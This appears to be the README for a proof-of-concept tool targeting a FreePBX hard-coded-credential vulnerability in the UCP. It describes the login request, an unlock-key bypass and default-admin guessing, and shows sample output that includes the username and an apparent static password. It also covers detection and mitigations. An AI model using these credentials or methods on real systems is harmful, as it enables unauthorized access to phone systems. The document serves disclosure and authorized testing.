CVE-2026-46376 — FreePBX Unauthenticated UCP Access via Hard-Coded Credentials

A critical vulnerability in FreePBX's User Management (userman) module allows unauthenticated attackers to access the User Control Panel (UCP) using hard-coded credentials that are embedded during the UCP generic template setup process.

CVSS v4.0: 9.1 (Critical) | CWE-798: Use of Hard-Coded Credentials

Disclosed: May 15, 2026 | Reporter: s0nnyWT

Details

When an administrator uses the optional UCP generic template setup feature (introduced in 2021), a system user FreePBXUCPTemplateCreator is created with a hard-coded, static password. If the administrator never changes this password after setup, any unauthenticated user on the network can log into the UCP with these credentials.

Note: The FreePBXUCPTemplateCreator user is only created if an administrator explicitly runs the UCP generic template setup feature. Systems where this setup was never performed are not exploitable through this CVE, even if running an affected version.

Affected Versions

The fix randomizes the password using bin2hex(random_bytes(24)) during install/upgrade, and existing template creators get their password regenerated on upgrade.

PoC Usage

pip3 install requests
python3 poc.py <target_url>

Options

positional arguments:
  target              Target URL (e.g. http://192.168.1.100)

optional arguments:
  -h, --help          show this help message and exit
  --no-check          Skip version pre-flight check
  --timeout TIMEOUT   Request timeout in seconds (default: 15)
  --method {creds,unlock,admin,all}
                      Which exploit method to run (default: all)
  -y, --yes           Auto-continue even if version is out of range

Methods

1. creds — Log in to UCP via POST /ucp/ajax.php with module=User&command=login using the hard-coded credentials
2. unlock — Attempt unlock key bypass via ?unlockkey=&templateid= query parameters
3. admin — Try common default admin credentials on the ACP

Example

$ python3 poc.py http://192.168.1.100

============================================
  CVE-2026-46376 PoC - FreePBX UCP Access
  Target: http://192.168.1.100
============================================

[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible

============================================
  Exploitation
============================================

============================================
  Method 1: Hard-Coded UCP Credentials
============================================
    Username: FreePBXUCPTemplateCreator
    Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator

============================================
  Summary
============================================
Target is VULNERABLE

Detection

To check if a system is exploitable, the PoC sends a login request to POST /ucp/ajax.php with module=User&command=login and the credentials. A {"status":true} response indicates the template creator user exists and the password is still the default.

A {"status":false,"message":"Invalid Login Credentials"} response means either:

• The user does not exist (template setup was never run), or
• The password has already been rotated

Mitigation

• Update the userman module to 16.0.45 (FreePBX 16) or 17.0.7 (FreePBX 17)
• Verify and rotate any existing UCP template credentials — patching does NOT retroactively change already-deployed passwords
• Restrict ACP/UCP access to trusted networks using the FreePBX Firewall module
• Enable MFA or SAML for additional authentication layers
• Audit active UCP sessions for unauthorized logins

Disclaimer

This PoC is provided for educational and authorized security testing purposes only. Unauthorized use of this exploit against systems you do not own or have explicit permission to test is illegal. The authors are not responsible for any misuse or damage caused by this tool.

References

• GHSA-m55x-h47x-v3gx
• NVD - CVE-2026-46376
• FreePBX userman commit (introduced)